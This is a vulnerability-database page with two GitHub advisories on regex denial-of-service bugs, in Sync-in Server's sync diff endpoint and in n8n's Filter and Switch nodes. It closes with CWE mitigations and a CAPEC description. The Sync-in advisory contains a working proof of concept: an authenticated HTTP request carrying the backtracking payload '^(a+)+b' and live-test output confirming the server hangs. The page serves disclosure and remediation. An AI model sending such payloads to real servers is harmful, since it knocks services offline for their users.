{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58270"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T14:47:56Z",
"nvd_published_at": "2026-09-21T21:17:06Z",
"severity": "MODERATE"
},
"details": "**Affected component:** Sync-in Server v2.3.0, `POST /api/app/sync/operation/diff/:id`, vulnerable implementation of `pathFilters` in `backend/src/applications/sync/dtos/sync-operations.dto.ts`.\n\n## Summary\n\nIn the vulnerable version, the sync diff endpoint accepted a user-controlled regex pattern through `pathFilters` and compiled it into a `RegExp` without complexity validation. The resulting regex was then executed synchronously against relative file paths during diff generation.\n\nA catastrophic-backtracking pattern, such as `^(a+)+b`, can block the affected Node.js event loop when evaluated against a worst-case path shape. In a single-process deployment, this can make the server unavailable to other users while the regex evaluation is running. Repeated malicious requests can sustain the denial of service.\n\n## Details\n\n`SyncDiffDto` transformed user input directly into a `RegExp` without validating regex complexity:\n```typescript\n// backend/src/applications/sync/dtos/sync-operations.dto.ts\n@IsOptional()\n@Transform(({ value }) =\u003e (typeof value === \u0027string\u0027 \u0026\u0026 value.length \u003e 0 ? new RegExp(value, \u0027i\u0027) : null))\npathFilters?: RegExp = null\n```\nThe compiled regex was then executed synchronously during sync diff traversal:\n```typescript\n// backend/src/applications/sync/services/sync-manager.service.ts\nif (ctx.syncDiff.pathFilters \u0026\u0026 ctx.syncDiff.pathFilters.test(filePath)) {\n```\nBecause `.test()` is synchronous, a catastrophic-backtracking pattern can block the Node.js event loop for the duration of the regex evaluation.\n\nThe impact depends on the file paths being tested. For example, the pattern `^(a+)+b` is most effective when the sync tree contains a relative path beginning with a long sequence of `a` characters and not followed by `b`.\n\n## PoC\n\n**Prerequisites:** Valid non-guest account, a registered sync client, and a sync path containing at least one file or directory whose relative path triggers catastrophic backtracking for the supplied pattern.\n\nFor the payload `^(a+)+b`, an effective test case is a path containing a long name made of repeated `a` characters.\n\n**Steps:**\n\n1. Register a sync client: `POST /api/app/sync/register` with credentials and `clientId`.\n2. Authenticate: `POST /api/app/sync/auth/cookie` to get a JWT with `clientId` embedded.\n3. Create or use a sync path targeting an application-managed directory containing files.\n4. Ensure the sync path contains a worst-case filename or directory name for the regex, for example a long sequence of `a` characters.\n5. Send a diff request with the ReDoS pattern:\n```http\nPOST /api/app/sync/operation/diff/1\nContent-Type: application/json\nsync-in-csrf: \u003ccsrf-token\u003e\nCookie: sync-in-access=\u003cjwt\u003e\n\n{\"secureDiff\":false,\"firstSync\":true,\"defaultFilters\":[],\"pathFilters\":\"^(a+)+b\",\"snapshot\":{}}\n```\n**Evidence from live test on Sync-in Server v2.3.0, Node.js v24.16.0:**\n```text\n[+] Baseline (no pathFilters): 0.019s, 15 files\n[*] Sending ReDoS pattern: ^(a+)+b\n[!] TIMEOUT after 20.022s - ReDoS CONFIRMED\n\n# Server state during ReDoS:\n$ docker stats sync-in --no-stream\nCONTAINER CPU % MEM USAGE\nsync-in 398.82% 745.2MiB / 7.709GiB\n\n# Other endpoints did not respond during the timeout window:\n$ curl -m 5 http://target:8080/\n(exit code 28 - connection timeout)\n```\nThe container-level CPU spike indicates severe resource saturation while the endpoint was unresponsive. The request timeout demonstrates event-loop blocking during the observed window, but does not by itself prove permanent failure after the malicious request stops.\n\n## Impact\n\nAn authenticated user with desktop sync access can submit a malicious `pathFilters` regex that blocks the affected Node.js event loop during sync diff generation.\n\nIn a single-process deployment, this can prevent other HTTP requests, including health checks, from receiving responses while the regex evaluation is running. Repeated malicious requests can keep the service unavailable and may require administrative intervention.\n\n## Remediation\n\nValidate `pathFilters` before using the resulting regex during diff traversal.\n\nRecommended controls:\n\n- Reject empty or non-string values.\n- Enforce a maximum regex pattern length.\n- Reject invalid regex syntax.\n- Reject unsafe regex patterns using `safe-regex2` or an equivalent safety checker.\n- Return a `BadRequestException` for invalid or unsafe patterns.\n\nExample remediation:\n```typescript\n@IsOptional()\n@Transform(({ value }) =\u003e {\n if (typeof value !== \u0027string\u0027 || value.length === 0) return null\n\n if (value.length \u003e MAX_PATH_FILTER_PATTERN_LENGTH) {\n throw new BadRequestException(\u0027Path filter pattern is too long\u0027)\n }\n\n let pathFilter: RegExp\n try {\n pathFilter = new RegExp(value, \u0027i\u0027)\n } catch {\n throw new BadRequestException(\u0027Invalid path filter pattern\u0027)\n }\n\n if (!isSafePattern(pathFilter)) {\n throw new BadRequestException(\u0027Unsafe path filter pattern\u0027)\n }\n\n return pathFilter\n})\npathFilters?: RegExp = null\n```\nWhere `isSafePattern` uses `safe-regex2` or equivalent to reject patterns likely to cause catastrophic backtracking, including nested quantifier patterns such as `^(a+)+b`.\n\nA regression test should assert that `^(a+)+b` is rejected before the regex is used against file paths.",
"id": "GHSA-jx63-h26r-8cph",
"modified": "2026-09-22T14:47:56Z",
"published": "2026-09-22T14:47:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Sync-in/server/security/advisories/GHSA-jx63-h26r-8cph"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58270"
},
{
"type": "WEB",
"url": "https://github.com/Sync-in/server/pull/228"
},
{
"type": "WEB",
"url": "https://github.com/Sync-in/server/commit/b1dcaa1d1c1bb17ab6c31a404cc9cead7efdd979"
},
{
"type": "PACKAGE",
"url": "https://github.com/Sync-in/server"
},
{
"type": "WEB",
"url": "https://github.com/Sync-in/server/releases/tag/v2.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sync-in Server has a ReDoS via Unsanitized Regex in Sync Diff `pathFilters`"
}
GHSA-JXF5-F3HG-VXVJ
Vulnerability from github – Published: 2026-08-20 12:31 – Updated: 2026-09-01 21:31n8n before 1.123.69, 2.x before 2.33.4, and 2.34.x before 2.34.1 contains a regular expression denial of service (ReDoS) vulnerability in the Filter and Switch nodes, which compile user-supplied regex patterns with new RegExp() and execute them synchronously on the worker thread without complexity validation or execution timeout. A crafted regex pattern can block the worker for an extended period per data item processed, delaying other workflow executions on the same worker.
{
"affected": [],
"aliases": [
"CVE-2026-77082"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T12:16:39Z",
"severity": "MODERATE"
},
"details": "n8n before 1.123.69, 2.x before 2.33.4, and 2.34.x before 2.34.1 contains a regular expression denial of service (ReDoS) vulnerability in the Filter and Switch nodes, which compile user-supplied regex patterns with new RegExp() and execute them synchronously on the worker thread without complexity validation or execution timeout. A crafted regex pattern can block the worker for an extended period per data item processed, delaying other workflow executions on the same worker.",
"id": "GHSA-jxf5-f3hg-vxvj",
"modified": "2026-09-01T21:31:21Z",
"published": "2026-08-20T12:31:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-q3fv-295f-qfpf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77082"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/n8n-before-redos-via-filter-and-switch-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.